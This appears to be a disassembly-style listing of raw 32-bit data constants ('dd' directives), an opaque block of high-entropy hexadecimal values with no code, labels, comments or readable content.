dd 0AD06B8EFh, 0ADCAD7F3h, 666CEB79h, 0D9D374B7h, 41D87B5h
dd 0BE0536F9h, 4321174Dh, 77A4C9B6h, 7356CA08h, 8E53FED2h
dd 32EEA7DAh, 0FFE747B7h, 962DBE87h, 0E3B1F5Fh, 9ACDA1E1h
dd 0C47CCD13h, 0C528F330h, 0CFBFA93Bh, 0A524EBF9h, 28FF7472h
dd 0D5649AAh, 3A1C1325h, 626C3A1h, 0C60F2B9Dh, 57CB0BF6h
dd 2B263987h, 49CC75EDh, 0D3690678h, 51ABB026h, 4A5F000Fh
dd 1447955Dh, 0EC3AB297h, 72E4324Ah, 89D23FD3h, 7D05B296h
dd 28CEF35Eh, 6B8DBD77h, 97904AA1h, 6DFC3C59h, 0B400927Ch
dd 12E25ABEh, 0F0DC222Ch, 0C603D057h, 34B15719h, 9C2F0EECh
dd 0FFF107BBh, 0A1A06CA2h, 671CB7E2h, 0CE17A59Ch, 1EEA2ED7h
dd 0A31D9CA2h, 0EACB1CA8h, 0C1A57E6Eh, 5DF11DB5h, 4EED0017h
dd 86E8AAB8h, 0E0E90CAh, 0E0CE54C1h, 920A0D0Ch, 7ED8FF97h
dd 9D815BAh, 4D8A7D2h, 2D5243BCh, 49AA3114h, 796F274Bh
dd 6FCE899Eh, 40A656EDh, 0B5A27825h, 99AC4F1Ah, 9D6C7899h
dd 0D9255BFDh, 7CC78F1Fh, 29A4FBC1h, 0F9F027FCh, 2AA2DC66h
dd 7DF2B3A4h, 0EAC03E56h, 16152945h, 77A45222h, 1172554Dh
dd 12B7B2F5h, 0A972071Ch, 0FA3F242Eh, 0D608A223h, 70A01899h
dd 8E997A89h, 0F8FCE509h, 2103A037h, 0C656443h, 172DACB5h
dd 0C80C83C8h, 70E4E78Bh, 3D544FB2h, 112E5863h, 0FF82C6A7h
dd 0CA52BE90h, 857972B4h, 52392346h, 5989AE68h, 4911E6F6h
dd 83616455h, 7BA6C2E1h, 71E152E2h, 0CEBD56Ah, 9C81A194h
dd 0F2C301Fh, 670DCCF9h, 46CD9192h, 10C31613h, 7B5DA2Dh
dd 7522E49Fh, 0A3612C82h, 273A18E1h, 6462721Fh, 84B25C7Eh
dd 67BB5FD6h, 916A9274h, 7026A865h, 0E6C9BB03h, 0A2DE4ADEh
dd 0A16D97Dh, 891E362Ch, 4E44A41Ah, 0ADA58B1h, 7C31C3FCh
dd 76CFB247h, 82BA5D4Eh, 6B801F0Eh, 0C8ED3D56h, 2D1A7B89h
dd 0BB58C164h, 0FED5BEABh, 5F2FF2F0h, 0E715F7BEh, 30FB932Fh
dd 2174E65Eh, 149C47F3h, 0A58C1470h, 0C5F641h, 637C1AB2h
dd 644015AEh, 2FF5E515h, 24745DE2h, 62B7CEDBh, 932A7AF4h
dd 7748F75Bh, 0B76B3581h, 0F1DF5E6Fh, 0DD296D33h, 3E1009B1h
dd 0CDC56CA8h, 42D7FD82h, 939DBF85h, 0F0648842h, 5E6B5E57h
dd 0FD75FF70h, 0FDC7968Ch, 0A7B80EF1h, 0C3576088h, 7091F4F9h
dd 1129A54Ah, 367B61E8h, 14B2AFFFh, 0C9E0D53Dh, 0ADA3B24Eh
dd 0FD19D1F6h, 0B446ABCFh, 6583FC9Ah, 0FD53F22Fh, 0D39D19B7h
dd 19EB745Eh, 9A7F88D3h, 0B24AD161h, 5CD475B1h, 167A24F6h
dd 0E24D870Dh, 0F5B539F9h, 0BE61A354h, 2522F587h, 536CDF6Eh
dd 0ABB46EBBh, 2395E7DFh, 558B8C84h, 59DB9062h, 0AB7B6D0h
dd 0EA5DF0B1h, 84CC758Fh, 6143B006h, 3D751A11h, 20F3B8B1h
dd 83482F05h, 2E45FBEAh, 0D0AA7CD4h, 3702B37Ch, 0FB10646h
dd 0DA4E9386h, 0C27E57FAh, 0C4297A40h, 0D915448Dh, 5E72DB84h
dd 0F0E978A3h, 0E1BE677Ah, 1ABFBD0Eh, 37B9E508h, 71D1D0E1h
dd 58BE5577h, 237578A5h, 8827B4A0h, 0DC0ADB18h, 9EAB1C4Eh
dd 97474ACDh, 0FEFDB2C1h, 0CD0081Dh, 2876AD44h, 17855B22h
dd 68EF4930h, 5543712Dh, 0E09711DEh, 5B0E1737h, 0C39C8D5Eh
dd 40CAC729h, 0F90C1CB8h, 4AD712C4h, 75BE4E53h, 0F0E9DF49h
dd 0E855DD8Eh, 0CB7FC76Dh, 0D9095389h, 614DD258h, 0E13DC9EDh
dd 413EDDBDh, 35522149h, 0F25DBC7Eh, 3FC9A40Dh, 0D53DD87Eh
dd 0B60F0112h, 0B6776776h, 835571Fh, 5A37FA00h, 89D9D754h
dd 388BE480h, 0CA6F8E18h, 0B7D75E4Dh, 6E1E50AAh, 0E11661C4h
dd 2089E362h, 9226B1CAh, 0D96BF465h, 2EC80EC3h, 6F14695h
dd 0BA8C0D74h, 7E38A5F6h, 51CF66Dh, 24D521A6h, 60752A77h
dd 0B65969C7h, 0E04670FBh, 0CDF30E42h, 0F897F6D3h, 80DC36E4h
dd 0A86AF029h, 0B0C7DC93h, 6951B06h, 0CE26F33Ch, 0F058A2Bh
dd 0C6975907h, 0FB3906F7h, 228591C4h, 0B54C3677h, 413D7494h
dd 0E5014790h, 0E48D9389h, 1635603h, 952AB055h, 95F0557h
dd 0A94E7811h, 9C8B566Bh, 3F1DF207h, 0AC7488ABh, 5AFE5781h
dd 0F87CE641h, 6AD75F4Fh, 3E2F8C32h, 860C807Fh, 962BA757h
dd 0A9BCDF20h, 0C471B564h, 4EBB05C3h, 0FB4F498Fh, 1B980779h
dd 82BE87AFh, 4020E1AFh, 7C960097h, 1A2DC8EBh, 9148EAAAh
dd 0C5E11821h, 0CFB6CD2Ch, 23A5B2F1h, 7DEC923Fh, 2E1D7210h
dd 87331655h, 91843876h, 2AE4408Dh, 6C6AE769h, 12DBD1DAh
dd 4E03668Dh, 0F141E1BBh, 4E80510Ah, 794BF5FFh, 0F00C18B4h
dd 5BA3DD01h, 47F70F0Ch, 0E21DE390h, 0C66BC9F3h, 5A40154Fh
dd 19A1F886h, 5E28131Ah, 2AA146DAh, 6899679Dh, 0DCD4A99Bh
dd 991AD5B2h, 80FBDE73h, 0E926E2DBh, 948E0EB8h, 22F2A22Ah
dd 6BEA04CEh, 5651DA18h, 9DEE708Dh, 0FC8296CEh, 6A2F40F3h
dd 0CF71D8F8h, 3D8BEC78h, 0DDC3843Eh, 0B22343ECh, 299D8A1Ah
dd 90278707h, 0AF568E12h, 0BFB1FB2Ah, 4A127DACh, 69264AD4h
dd 0FF194AC8h, 5A145839h, 58C5FB1Dh, 348A1596h, 0B0291566h
dd 0A2FD365Fh, 0B78975D1h, 60A884E8h, 9C2ECC0Fh, 528D3CE1h
dd 23C66B8Fh, 976C5FEBh, 19E029DDh, 551D85DDh, 63DA6A0Bh
dd 1C565A93h, 5823BAC6h, 5490C1B3h, 8569E003h, 0B7521974h
dd 66A1FA14h, 0A5D42421h, 5DD4C9FEh, 520840EDh, 0EF83D1FAh
dd 0D0BA574Ah, 84EB0E42h, 0B2079684h, 4C07EDA1h, 0E552AE62h
dd 0AFE1E0FDh, 6F6765C0h, 0B265C44h, 58EF8686h, 718899E9h
dd 0DB39DBEh, 0C0B6F51h, 31EE6E27h, 448FC49h, 669E3499h
dd 138B72BFh, 0F5E826B9h, 19260581h, 65672FDBh, 41CB2ADEh
dd 0C03AF3C1h, 0F34D319h, 26C6EE69h, 0E9CEFF90h, 0E89E200Dh
dd 0AAA05973h, 0F0610619h, 0C9484B77h, 29C03671h, 0A67B83F0h
dd 0AE349619h, 90CDEE26h, 55932CBAh, 0AC32BF01h, 36F1D803h
dd 0D5520142h, 28D71E48h, 0AB41FCC9h, 6EAB6A34h, 72FD2F55h
dd 32000559h, 0E5AE5C49h, 132EDAB2h, 0E59D845Fh, 67AB8BD7h
dd 75F3450h, 0C23991EDh, 53A40776h, 13DF048Dh, 4FC7F198h
dd 8891C114h, 3CBDE157h, 6F5D5023h, 33FEC35Bh, 412A6CF2h
dd 228C73Ah, 0AA46179Dh, 0DF829C2Eh, 0D921E59Bh, 0F39EB8F6h
dd 0C33DD771h, 0DAE5EE39h, 4A4355DBh, 30A8DCB5h, 0C6780A65h
dd 0D3856FFCh, 8A7EDB9Eh, 0FC08921h, 0A9C426C4h, 0EF3FF4D7h
dd 0EEFF3B4Eh, 0F4DB7848h, 79B7A91Fh, 0BDE548F5h, 3599ECCBh
dd 0CEF01726h, 44F44A41h, 31173581h, 0FDE694C0h, 4686471Dh
dd 5328A8FAh, 0B8BCBC62h, 2029C3F7h, 0F501DF4Dh, 96CD06FDh
dd 39C5A1EBh, 36C607CEh, 1FD7F7E5h, 0C34E4FF8h, 0A6F5818Dh
dd 0F69D3ABCh, 0B4EE664Eh, 0EEC17145h, 3B399E1Ah, 61C91117h
dd 0D62E09F7h, 202480CBh, 4EB9D6AFh, 80D14DBFh, 989B92Bh
dd 83D5A7F0h, 0D4F2AB0Eh, 0F46C13B5h, 436E3E92h, 568A87CAh
dd 0A2034430h, 4CBE9255h, 0BBD8ECB0h, 64014C0Fh, 1234AE83h
dd 5D74F1E1h, 6F3FC9C4h, 0BC8EEF9h, 0AEFBDBDAh, 0B6AF33Bh
dd 22AA7CADh, 0DB74AAB1h, 5332AC98h, 4556D1B7h, 62C90828h
dd 0B5B7E1E8h, 1B0FDC95h
dd 67655839h, 287BB4FBh, 0A49F62BCh, 2136D6E5h, 0ED2F49C4h
dd 0A345FC6Fh, 582F0BBFh, 55B9E2A6h, 0FA759BB0h, 1EE05DC4h
dd 2A3181C4h, 0A9DB2E32h, 829A809Fh, 0CAF04A4Eh, 0B9DCBC6Ah
dd 2A924E3h, 0B86B2748h, 8702468Ch, 72F029FAh, 264B253Bh
dd 868125C0h, 65292A5Fh, 0A24E9323h, 0C0CFED38h, 1E7D0C9Fh
dd 6D339497h, 726100B4h, 161C96h, 49F8C8A7h, 1FE6243Bh
dd 0BE367DBEh, 2BF84D20h, 0A4FB94AFh, 0E343BC41h, 62FEE2E1h
dd 0CD5AFB3Ch, 683620FFh, 5CC12D08h, 94C0E44Fh, 5F93226Fh
dd 6CA17F16h, 0D006F05Bh, 0A1572E1Fh, 0F1959EE9h, 0B5DE07B5h
dd 0AEFC48D9h, 0CDE52210h, 0EF1ED70Ch, 0EEE9EBB8h, 926C02BBh
dd 0F9E2610Dh, 0C8539869h, 0CA327D88h, 3AFF2C0Fh, 63B42852h
dd 0BC74307Ah, 0D343FC63h, 0A3782F21h, 7E0A45Ch, 0EBE7ACEAh
dd 2488F627h, 0D1EED0B2h, 63CAE050h, 0A28E07B2h, 0BC728945h
dd 0B4BE5321h, 14957BDFh, 0B6D4E088h, 50E15346h, 8E0D4B32h
dd 0D4C18BF5h, 28C2EE97h, 0F82C43CAh, 0FF166140h, 0E6AF2FE6h
dd 712E084Fh, 2EDEA7A6h, 588551EEh, 252E3304h, 132340EBh
dd 3E9EAD45h, 463FEB33h, 0A1A4424Ah, 0F91A4CFDh, 5FC697h
dd 0E3337A17h, 0A45F7A6h, 0ECD67C33h, 580E6679h, 1CF22490h
dd 0DC17FA97h, 0C42E212Ah, 0C5ECF213h, 0B23BF487h, 0E1B3D08Ch
dd 1118DAB2h, 2AE0A134h, 0F275B36Eh, 92C127AAh, 5A99F017h
dd 0C2687A6Ch, 0DBABB8ECh, 0A89A7289h, 35F5F8ABh, 0F4C22896h
dd 7ACAF41Ch, 2922B308h, 7B744E72h, 0F254E7DFh, 0C85FD4DBh
dd 3BE2B477h, 0B3C4AF0h, 4533DE4Ch, 6005DB15h, 4AF8625Ch
dd 3EBB9D10h, 0E5209420h, 2F752488h, 5D81FC23h, 0E91641F6h
dd 0BB38293Ch, 91980EA4h, 0CD850E93h, 0AEC13731h, 0FF37085h
dd 0F2002037h, 4CEE2870h, 4E80D10Bh, 0F53FAAB0h, 19E6075Bh
dd 5D4B9721h, 21CD41C0h, 43253E28h, 0CC170660h, 0D28D329Ch
dd 0EE282259h, 9F061DE5h, 3351B8CDh, 9F102225h, 34321F5Dh
dd 8E69F34Bh, 6057A4C5h, 3CD00C7Dh, 0B9BF92ABh, 6EB61E27h
dd 33B1CFA4h, 0B914EB3Eh, 2330D3B8h, 0DCA4F92Ah, 29CBD6B1h
dd 4680293Fh, 754A3BEh, 4EE843E8h, 33DA8479h, 3F7C5EEDh
dd 63EDAC38h, 0E2C98A89h, 1C117A14h, 0C3EDB862h, 5963FA5Ch
dd 0A73A9832h, 16AA76B4h, 962EC310h, 4679D79h, 2B52803h
dd 9D167BC0h, 1EAA5C7Bh, 1B40DB3Ch, 0CF414410h, 0CE4A31BBh
dd 5835C4C1h, 7D1C37BBh, 0F0295C6Ch, 0EEAEBC31h, 6DA7AEF7h
dd 88DEAEE0h, 23521AF3h, 3836DB73h, 0A305BD2Bh, 1879677Ch
dd 0A57BD0AFh, 264DA577h, 0BF9517CAh, 9BEF94A3h, 3E6FCF57h
dd 0B47FEEA0h, 7FB3306Ah, 818F52E4h, 868713Eh, 0D8EC0E42h
dd 0EC379501h, 0C29C37A3h, 0C2C5F281h, 62809437h, 0C0F9E6F7h
dd 0EB8B0B04h, 10B9EC2Bh, 25BB9AC1h, 0B7BFEE39h, 0B21740B7h
dd 5FBBFBF3h, 267276D8h, 992FB212h, 0B36E781Ah, 0C1C0B507h
dd 7E2E9323h, 30292CBAh, 34D81D98h, 3176E2C9h, 0D46991Bh
dd 810E8B45h, 74A2D889h, 0B1663DCBh, 0B393DD2Dh, 0A1B3D67Bh
dd 0A14B307Eh, 0F968D6FDh, 0BC546AB1h, 143B2ACEh, 3F8DCAh
dd 0D5FF3A78h, 0ECEC1DEAh, 6385385Ah, 0D397F6A5h, 16CA70CAh
dd 0EFB9A9B5h, 92DD29D0h, 0E5D069F9h, 99FD3BF5h, 0E8226277h
dd 0D27AC3FEh, 746998E0h, 0D3C409F9h, 0FE4F3CD7h, 154AFB42h
dd 2F296AC3h, 0CFBEC1CDh, 0C96F3BD1h, 9D943D46h, 0B419104Ah
dd 7EE1B238h, 5B869C28h, 83852611h, 0B14D5A86h, 2C0885EEh
dd 2F1798DEh, 0A881FC51h, 0ABDF98D2h, 2FEB92F8h, 7E9377BDh
dd 809E5238h, 46DAAD1Ch, 0FFD2AF7Ah, 778926E7h, 0D8F27FB6h
dd 0A7E8614Fh, 0A4919BABh, 0FA350393h, 3AD3AAEEh, 8606ADAh
dd 20C7C337h, 5DFC318Ah, 0E4AAEE8Ah, 4702E263h, 4AF6DD6Eh
dd 0A038C00Eh, 9BA2509Bh, 0F5EDC1E7h, 6AA4D52Eh, 0F2B78BF8h
dd 416F3A8Ah, 3BBD99A4h, 655948DAh, 7FA8EC95h, 2C07B533h
dd 572A7AC5h, 656D48FCh, 5B5C5821h, 4F5792F4h, 4CAF028Dh
dd 5F59D039h, 0B353B20Dh, 0D9E846BCh, 9BCF7F1Ch, 3A05A8BBh
dd 0CEFCCE5Eh, 12942EBAh, 5ACCE388h, 2977379Eh, 0AAB62495h
dd 0F8B3E17Dh, 81BDAEE1h, 8AFBA234h, 0EBD4BDA2h, 0F89E25F6h
dd 1A2DA5D3h, 9C397D82h, 812A005Fh, 0C64CC66Bh, 0A6EE10EDh
dd 0B68CC7DCh, 4F89F22Ch, 0BF984102h, 0F1DA7560h, 0E0E75338h
dd 629186h, 0EBF66218h, 0CECC9918h, 0C4523E19h, 0B89679EEh
dd 9F093370h, 0E2C61629h, 5F1D49ADh, 80D15CEAh, 4BD175D7h
dd 0A7F70DB3h, 0AF9BCF15h, 4DA4B476h, 0A830BA8Eh, 9B5B9783h
dd 0B832120Eh, 0C3D19B4Ch, 82AC00E8h, 46EB5B97h, 57080FA8h
dd 7776CD21h, 0B87C9C18h, 0EE61A919h, 4158FBEEh, 416088CFh
dd 4EA7F9F0h, 7E296798h, 51EF2D8h, 92550324h, 10D3A69Ah
dd 0E9A81740h, 93DB4876h, 0F24E0D44h, 48E5587h, 0EE248037h
dd 94B322F3h, 88703CCCh, 8286C19h, 0A4CD105Bh, 0C5152E1Bh
dd 0A83EC370h, 3C7B2D20h, 9BD7C5B9h, 97FB0BB2h, 26CFE5EEh
dd 6FE94720h, 83018F2Ch, 0D4420854h, 9D391AE5h, 8CA7778Ch
dd 214269B9h, 0EF47A73Ah, 196E89C3h, 5034B217h, 0F4D59FEAh
dd 0A143EDD8h, 57854BE9h, 3472DA29h, 2DD67A5Fh, 0C3EAA180h
dd 1C937F84h, 964536F1h, 0CCAF9FB8h, 0C97F34ECh, 0AC055603h
dd 0D55C9738h, 95BCF184h, 2F0DC107h, 61DA5CEBh, 0DA965A09h
dd 3A09F92h, 6C7AD90Ah, 20A78AADh, 2781C817h, 0AE97D7F6h
dd 606E4BEEh, 0EB231C9Dh, 0FB7EAFF4h, 0FF418EC4h, 5F7FDDC4h
dd 0A722758Ah, 0D1450AB1h, 0CF898F1Ch, 0CA8885FCh, 49142BEBh
dd 0AC365A93h, 92B2DFC0h, 0E6131D3Ch, 8BE5634Ah, 311FC1FDh
dd 0D52058C1h, 4A68AF00h, 0DC33573Bh, 6A6F33E9h, 5971379Ch
dd 7601B483h, 2630F447h, 0B7B64E73h, 15957E93h, 99B57726h
dd 0D82FBD9Bh, 0BA312267h, 62220E51h, 16FA9C8h, 3C343839h
dd 0B7249F54h, 0AE98143Fh, 57C1h, 0CAA2BC23h, 0F374AF9Ch
dd 0AE7E1DB0h, 17902A84h, 0A7078213h, 251DF0F0h, 46BB1B14h
dd 0DBB2E850h, 0CCAA1681h, 45433F2Dh, 5E64C0E4h, 38F2ED14h
dd 14E339D0h, 0F654B87Fh, 73B06594h, 0A8E105B1h, 55319619h
dd 0A441722Bh, 6A4D4789h, 59B9E236h, 0F235355Fh, 0A01D4DBBh
dd 5001F9C9h, 7E738FD4h, 9935BCD4h, 0B7067DF6h, 480CD126h
dd 0D5C755B0h, 8098DEFCh, 0DA646110h, 0EF3653FBh, 181C3914h
dd 925B0436h, 7C94C630h, 8DF88DBBh, 70321165h, 0F93AF806h
dd 0AC80C52Eh, 0DB6C7866h, 2F593E8Fh, 0F5CC1013h, 8E5F8B68h
dd 0A9B97096h, 98A46719h, 837C23CDh, 99CD42CBh, 8AE78B75h
dd 0B23287FAh, 5DEA8EEEh, 2E74BFF9h, 0B21403D4h, 5C551636h
dd 0D779608Eh, 0BBE32AF0h, 0FCD12928h, 5AA158B5h, 220F9A25h
dd 3C796F2Ch, 0A7412D3Fh, 47745E78h, 2FB1629Bh, 0E4A6B654h
dd 0DDA87638h, 0AF19CE9Eh, 1862820Bh, 0A9A06908h, 0A079E4AAh
dd 0A9978A52h, 0C900508Ah, 418A003Dh, 0CDCE989Eh, 43F8ABF7h
dd 87B1B0Ah, 2A02E5BEh, 0EE3DB17h, 61F64654h, 953388E4h
dd 2623BECBh, 0DFCE986Eh, 6731F54Fh, 0F10F196Ah, 4E6A5C48h
dd 0DDD5C890h, 0C6CBD082h, 0D05A6E90h, 7814A6B7h, 29AB3259h
dd 27B7D734h, 3C64C2Dh, 4C1B4F60h, 0FD681BF7h, 9390900Ch
dd 43AE07ACh, 8D730ADAh, 0B058F3DAh, 1C347594h, 0AC55FADBh
dd 5CA5E5DFh, 307C40AAh
dd 0BA6FAA4h, 0D87C9793h, 0F3B72565h, 35F13816h, 95AC6542h
dd 7481F11Ch, 0E345E423h, 0C4EC84BBh, 2C5B254Dh, 4AF7BEA1h
dd 7441C895h, 31BDA27Bh, 0F6BD0961h, 34D2DDCBh, 0C757B4D0h
dd 0E56C4F84h, 9077698Ch, 682139DCh, 0DD86B77Ah, 621B5DDh
dd 79160BB8h, 36FE61A9h, 8139A8ADh, 6B3A6D3Eh, 0FA498AEFh
dd 36816934h, 1F89F9F1h, 0CBDEDA1h, 0D189A451h, 3EB33138h
dd 0A6C8516Fh, 0D6395959h, 20DD2686h, 866A3147h, 734BB335h
dd 0AB8BA878h, 54025D35h, 1BD9D56Dh, 8256E01Fh, 57E64EB3h
dd 0BDD39037h, 0B6AEFE2Ah, 0AAF2B7A4h, 25B4056Fh, 22417245h
dd 7FAE7A41h, 9EA95E70h, 245AA048h, 3CDE0D71h, 0B875E228h
dd 99F352CCh, 8D202BF8h, 2B561ADEh, 0A6C5AC76h, 0E2ECE834h
dd 9A316A76h, 8A8395CCh, 0A25E0B8Bh, 33F58015h, 2CAA615Bh
dd 0CA448077h, 97052C35h, 0F437A0E5h, 0BE56BC2Dh, 8D15C7B0h
dd 90662F0Fh, 4529C06Fh, 0C424184h, 0E60F8BB4h, 0A550D5C0h
dd 6226109Ah, 1D067D0Ah, 8431CEACh, 18CCB59Bh, 3090CC79h
dd 7B315ADEh, 97C41ADDh, 62A933C1h, 9671DA4Fh, 0AA89135Eh
dd 0A180697Eh, 79985D9Fh, 6EF5EEFEh, 9FAC74C8h, 27A43EAFh
dd 82DE5AC5h, 26ED9F2Ch, 4B61D9E0h, 9A912DF8h, 4138825Ah
dd 0DD129864h, 0E9599E44h, 0BB081A2Ch, 0EDBBCEE9h, 417943BCh
dd 9AFE77AFh, 0FA72633Eh, 30C75B99h, 0B247D4B0h, 0D1DD0FE3h
dd 0A620ACECh, 0C5B7BC40h, 95307B44h, 0AA0C76B6h, 68E25A7Fh
dd 1FB4DA7Eh, 2FC4B9D7h, 0DFC050C0h, 0EC36D262h, 0BA545D90h
dd 0CD3A1BD4h, 0DE0EFA14h, 0B9852ED2h, 8629BAE2h, 0DF729392h
dd 6B7CEFD7h, 6D9BE393h, 0B2F7586Ah, 9AE6B25Ah, 0F6CA81CBh
dd 3B41B7C3h, 0DAEB3830h, 0E435D6B9h, 0B8FDA40Bh, 4262F378h
dd 1E4F860Eh, 18473834h, 24407462h, 9034F6A3h, 0F21BF4Dh
dd 0E0756B34h, 0FD922B1h, 6EC4B5D9h, 9D6A53D7h, 669AA3C6h
dd 549DC87Eh, 0E0E72BDDh, 4C7FA4BEh, 0B63E1551h, 13C70161h
dd 46B51A86h, 0B8414645h, 0CA2C3022h, 0C35E7711h, 10D0ABAEh
dd 59692FF8h, 0E8F2CFF6h, 0ACBDE5B2h, 7FC331A0h, 0E91E85A6h
dd 2C6689B9h, 0EEBEAE12h, 0F6E56A96h, 0A76F85F3h, 8A4890Ch
dd 912C97F5h, 192BAC9Ah, 0C31D9C78h, 2C62533h, 414404E1h
dd 0A0BF31C7h, 15CB09BAh, 0A3FE4F44h, 97B93034h, 0C0B5F198h
dd 0BC895C59h, 0ED9A4A0Ch, 0A453E6B9h, 1F68A58Dh, 0AA33789Fh
dd 7E337544h, 61009A38h, 4D70E2E8h, 6576117Fh, 49487F5h
dd 9559BC47h, 1087F092h, 3E811F29h, 724BF681h, 0B957D549h
dd 0C8C79C1Ah, 210B1C4h, 0DEBA5651h, 9C3D25DCh, 955B33ABh
dd 9534F7A9h, 775FC018h, 0E1FCC50h, 6F4267B8h, 3E3FE561h
dd 7B33819h, 7D6F4D54h, 5AC08110h, 0A05EC2A9h, 6CDC8FC7h
dd 0D95AD012h, 9A453985h, 0E4ED355Eh, 152EF053h, 592F56ABh
dd 0E8DEAFC7h, 0CB4D0F8Bh, 0FFF05552h, 68249274h, 19C053DFh
dd 7FA7DFE0h, 7AD5F317h, 0FDF951C5h, 40B4B223h, 461629BCh
dd 5DFA8EEh, 0CF7B7A42h, 0ADD5774Fh, 0B83E64D8h, 0EFD7294Dh
dd 0A9E49EC4h, 32D9627h, 55D0372Eh, 0A75CDCA4h, 3E4FCF6Bh
dd 0CD7E056Fh, 9C531A47h, 59E1887Ch, 0E76DB53Ch, 2C596032h
dd 0A641F005h, 4E5EDAEFh, 0FE53323Ah, 0AA3901C0h, 381ACB9Fh
dd 0BCD41688h, 0C0A87A6Fh, 0D6F699EEh, 0F708E717h, 0E69B8523h
dd 3B8C8D08h, 0C60A805Eh, 0EDCE9112h, 333DB6F6h, 45E25064h
dd 36D3C92Bh, 28D896BCh, 99F31570h, 94D7D2Ah, 7B646563h
dd 1BCB5503h, 39A0E7F2h, 0E7F200F2h, 68B2BC35h, 851D2345h
dd 2FE145EAh, 9ADF1584h, 0D7D6FBFBh, 12A7C04Dh, 0C9448366h
dd 0FBF7246Ah, 0F8A6E28Bh, 61974253h, 14B16026h, 4D168C0Dh
dd 843DA09Ah, 9DC91125h, 49D112E8h, 8C128C68h, 0AC9711DCh
dd 622C6FF5h, 7701C4BDh, 4F7D8ADAh, 58117EC2h, 0FC156E34h
dd 0BA435353h, 0B4172C0h, 0B020C1CDh, 0C6238C18h, 9F07C3F8h
dd 0DFF1A371h, 0E6E9B16Dh, 4BCA29Ch, 0C8198817h, 5A3051E6h
dd 9FF9F96Fh, 0C5EB9E22h, 590A96D5h, 7310F6B3h, 9E374924h
dd 0DA7195Fh, 899038BFh, 0FE86892Ah, 0B4FCBD8Eh, 726F2ACEh
dd 0D2F91608h, 4854C933h, 521C4B6Ch, 1FC01575h, 3C73DAA5h
dd 2AB58DECh, 1501C6E5h, 61503868h, 48628C66h, 0B3CACB68h
dd 0C80E0B95h, 43A8DFBDh, 449FE1AEh, 0C4F389Bh, 0E3F7EAFCh
dd 908E1143h, 66CA6BDCh, 0F98318D6h, 7EF31234h, 0CA90F153h
dd 5AF04B98h, 6FDC0C88h, 0DACB1ECFh, 45FBA3A2h, 125AAB9Ch
dd 0D71EB1F2h, 0BE15AA59h, 0CA19CA04h, 1654C9C8h, 11A8402h
dd 0EEB3F68Ch, 0AFA07D6Ch, 13CD0E29h, 0BB0BB517h, 0B1701C50h
dd 0F793B80Ah, 2D002299h, 0D31DC5B5h, 9C364A39h, 16DE30CCh
dd 695EE4A6h, 29117A4Ah, 0D22339C4h, 52081FF0h, 10D0F4F2h
dd 39B71884h, 0F45BF316h, 0A264BD5h, 0E41F5F4Ch, 7CC33DC4h
dd 0F92CE7E1h, 253BA7Ah, 2E5F2CF1h, 5DDF2162h, 0FA954E0Ah
dd 0B26973C4h, 28BB645h, 0BB55A12Eh, 707BD22Eh, 0CC065C84h
dd 9FAEC760h, 0B0A2881h, 0DB75F811h, 0C6719341h, 0DE36BC1h
dd 8D3B23F4h, 7310ED04h, 0A0781BF6h, 0F828F72Fh, 6EA4539Bh
dd 0F0079776h, 6CA796EEh, 44CE4B2Ah, 6B7314B3h, 0E9EF8AECh
dd 1B71C3A3h, 65F7795Ch, 7F62785Ch, 0A83D2086h, 0C2DB44B9h
dd 104EDF45h, 8DF1F021h, 0BD83571Fh, 0EC6B280Bh, 9D6857F6h
dd 0D7E9AD73h, 0A4B99668h, 56FED0E7h, 0EC5D531Bh, 0C381EB34h
dd 0B41F3F20h, 1D26CAC2h, 85C576BDh, 3E0E6775h, 219926AAh
dd 0C6F21C14h, 0ECCDB4CCh, 13EBAD7Eh, 0D7C30F0Ch, 8169FC9Dh
dd 764C396Ch, 61984681h, 0BEE82ED1h, 0A1E13236h, 0BEAA413Eh
dd 0FB1BFB6h, 29A6D17Eh, 0EE310F57h, 9FE8AAB4h, 0BD89CC36h
dd 2BED7DE3h, 1501F134h, 0D1DF8214h, 21E6C5DBh, 8783BE2Eh
dd 40636D87h, 0AB20869Bh, 0DB1470A8h, 3A03F524h, 0C17FF87h
dd 0AD80167Bh, 5D956E82h, 0A5576E8Dh, 511C5138h, 6393649Eh
dd 2AF0CFE9h, 0B04312C6h, 34B906E1h, 0AFBD78E8h, 1710B355h
dd 743374CAh, 304062C3h, 0A27C8AEBh, 3348AAE1h, 8780135Dh
dd 2B8BC21h, 0A44F974Bh, 753D0C34h, 98644FD2h, 705A54ACh
dd 0A82F4306h, 0D7ABC76Ch, 98081DA2h, 0ED012FCFh, 10211449h
dd 3698B8C5h, 0D6A1FD0Dh, 0FD4A39B3h, 0CC26DFACh, 53E41021h
dd 577CCD6Eh, 75E16787h, 0CAA41FA6h, 0EBFC6221h, 0CCE6ED9Eh
dd 0E153F57Fh, 90503BB0h, 6AF37004h, 60A0BE9Eh, 71F0CA3Bh
dd 435DFCFFh, 0D15389FEh, 697000F9h, 166F40B9h, 7A758EFAh
dd 0BB526E73h, 2A89ED5Ah, 52783E6Ch, 0AC677C8Ch, 3F711955h
dd 88DCF0AAh, 356C0661h, 0E2FB96A5h, 5850001Ah, 4ACADB44h
dd 0D84F19BBh, 22664360h, 66201CECh, 7508BDEBh, 9C8EC5BCh
dd 0CACFD6A0h, 7B1B0EE0h, 99342BD6h, 0E49DFBAFh, 0BAD5ADBEh
dd 7A2FD121h, 9A52F526h, 3048572Dh, 3DF7C77h, 79C845C1h
dd 0E2E589A1h, 58A2DEC3h, 9F7F94DFh, 5422D1F4h, 8D16DBACh
dd 0E41CFE5Ah, 0CADA36B4h, 0B2748148h, 9003C67Ch, 2E56398Dh
dd 0F1E6814h, 0EFF312B1h, 4205C01Ch, 2FC538h, 39367D52h
dd 8C2FFD8Ah, 5213250Fh, 34BEE9AAh, 0D3EEA5B5h, 3E9904ABh
dd 0A8FE35E3h, 2A82540h, 6BB0AF9Dh, 0E129338Bh, 5E2A30FDh
dd 7013309Eh, 0AEA527CDh, 8F91881Ah, 97DC04BAh, 28A009E6h
dd 6542926Fh, 5FF3AB45h
dd 0F4611585h, 9BFA32A4h, 0F29CC0EEh, 0DFC021F1h, 0E8BD1BD9h
dd 0DBB5B831h, 0A32380E2h, 0C392D779h, 370C5807h, 1DAAE2AFh
dd 0A127041Ah, 0B443DCAEh, 0D2DDE0ABh, 8C4559A9h, 443A0E2Ch
dd 0B2B5D79h, 0F7AFBB5Eh, 6284B79Ah, 9A354583h, 3729625Dh
dd 0CF0A4AA3h, 58EE5F03h, 6AD06EA5h, 1BFE143h, 230CAAB7h
dd 0CE057E8Eh, 66A78CCCh, 8E3D20E2h, 7F380F21h, 39914F81h
